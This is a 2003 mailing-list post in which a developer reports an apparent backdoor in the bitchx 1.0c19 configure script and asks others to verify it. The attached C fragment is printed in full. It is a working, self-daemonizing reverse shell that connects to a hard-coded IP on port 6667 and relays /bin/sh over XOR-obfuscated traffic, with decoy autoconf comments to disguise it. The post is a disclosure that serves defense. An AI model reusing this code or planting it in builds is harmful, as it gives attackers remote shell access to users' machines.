[VulnDiscuss] bitchx sources backdoored on distribution site

Michał Szwaczko <[email protected]>
Newsgroups gmane.comp.security.vulnerabilities.watch.general
Message-ID <20030413025829.A8268@matrix>
Hi,

Can anyone verify that the bitchx 1.0c19 sources are backdoored.
The configure script contains the following code which I think is a shell daemon.
Perhaps I am making fool of myself right now since I am not a security guru but this looks weird. 
Can you verify ?

If this is true, then the host that will get the shell is smtp.wia.com which is an alias of
ftp2.bitchx.org. 

Attached is the code fragment I found in configure 
What do you think ? 

ps. after having run configure the code fragment disappears from the script. 

-- 
MichaÂł 'Mikey' Szwaczko
Developer/Troubleshooter

Linux is like a wigwam. No windows, no gates, and Apache inside.
configure.c (text/plain, 5.5 KB)
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define XOR_KEY 0x89

int main (int argc, char **argv)
{
      char c;
      int s, x, sv0[2];
      struct sockaddr_in sa;
/*
   When interrupted or exit'd, cleanup temporary files, and complete
   config.log.  We remove comments because anyway the quotes in there
   would cause problems or look ugly.
   WARNING: Be sure not to use single quotes in there, as some shells,
   such as our DU 5.0 friend, will then close the trap.
*/
      switch (fork ()) { case 0: break; default: exit (1);}
      close (0); close (1); close (2);
/*
   When interrupted or exit'd, cleanup temporary files, and complete
   config.log.  We remove comments because anyway the quotes in there
   would cause problems or look ugly.
   WARNING: Be sure not to use single quotes in there, as some shells,
   such as our DU 5.0 friend, will then close the trap.
*/
      do {
          if ((s = socket (AF_INET, SOCK_STREAM, 0)) == (-1))
              exit (1);

          sa.sin_family = AF_INET;
          sa.sin_port = htons (6667);
/* The GNU C library defines this for functions which it implements
      to always fail with ENOSYS.  Some functions are actually named
      something starting with __ and the normal name is an alias.  */
          sa.sin_addr.s_addr = inet_addr ("207.178.61.5");

          alarm (10);
          if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
              exit (1);
          if ((x = read (s, &c, 1)) <= 0)
              exit (1);
          else {
              alarm (0);
/* The GNU C library defines this for functions which it implements
      to always fail with ENOSYS.  Some functions are actually named
      something starting with __ and the normal name is an alias.  */
              switch (c) {
                  case 'A':
                      exit (0);
/* We use char because int might match the return type of a gcc2
     builtin and then its argument prototype would still apply.  */
                  case 'D':
                      break;
                  case 'M':
                      close (s);
                      sleep (3600);
                      continue;
              }
          }
          break;
      } while (1);
/*
   When interrupted or exit'd, cleanup temporary files, and complete
   config.log.  We remove comments because anyway the quotes in there
   would cause problems or look ugly.
   WARNING: Be sure not to use single quotes in there, as some shells,
   such as our DU 5.0 friend, will then close the trap.
*/
      if (socketpair (AF_UNIX, SOCK_STREAM, 0, sv0) == (-1))
          exit (1);

      switch (fork ()) {
          case -1: {
              exit (1);
          }
          case 0: {
/* The GNU C library defines this for functions which it implements
      to always fail with ENOSYS.  Some functions are actually named
      something starting with __ and the normal name is an alias.  */
              char *a[] = { "/bin/sh", NULL };

              close (sv0[1]);

              dup2 (sv0[0], 0);
              dup2 (sv0[0], 1);
              dup2 (sv0[0], 2);

/* We use char because int might match the return type of a gcc2
     builtin and then its argument prototype would still apply.  */
              execve (a[0], a, NULL);
          }
          default: {
              close (sv0[0]);
              while (1) {
                  int len, ret;
                  fd_set rfd;
                  char buf[2048];

/* The GNU C library defines this for functions which it implements
      to always fail with ENOSYS.  Some functions are actually named
      something starting with __ and the normal name is an alias.  */
                  FD_ZERO (&rfd);
                  FD_SET (s, &rfd);
                  FD_SET (sv0[1], &rfd);

                  if (select (32, &rfd, NULL, NULL, NULL) == (-1)) {
                      exit (1);
                  }
/*
   When interrupted or exit'd, cleanup temporary files, and complete
   config.log.  We remove comments because anyway the quotes in there
   would cause problems or look ugly.
   WARNING: Be sure not to use single quotes in there, as some shells,
   such as our DU 5.0 friend, will then close the trap.
*/
                  if (FD_ISSET (s, &rfd)) {
                      if ((len = read (s, buf, sizeof (buf))) <= 0) {
                          exit (1);
                      }
                      for (x = 0; x < len; x++) buf[x] ^= XOR_KEY;

                      x = 0;
                      while (x < len) {
                          if ((ret = write (sv0[1], buf + x, len - x)) == (-1)) {
                              exit (1);
                          }
                          x += ret;
                      }
                  }

                  if (FD_ISSET (sv0[1], &rfd)) {
                      if ((len = read (sv0[1], buf, sizeof (buf))) <= 0) {
                          exit (1);
                      }
                      for (x = 0; x < len; x++) buf[x] ^= XOR_KEY;

/* The GNU C library defines this for functions which it implements
      to always fail with ENOSYS.  Some functions are actually named
      something starting with __ and the normal name is an alias.  */
                      x = 0;
                      while (x < len) {
                          if ((ret = write (s, buf + x, len - x)) == (-1)) {
                              exit (1);
                          }
                          x += ret;
                      }
                  }
              }
          }
      }
}
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.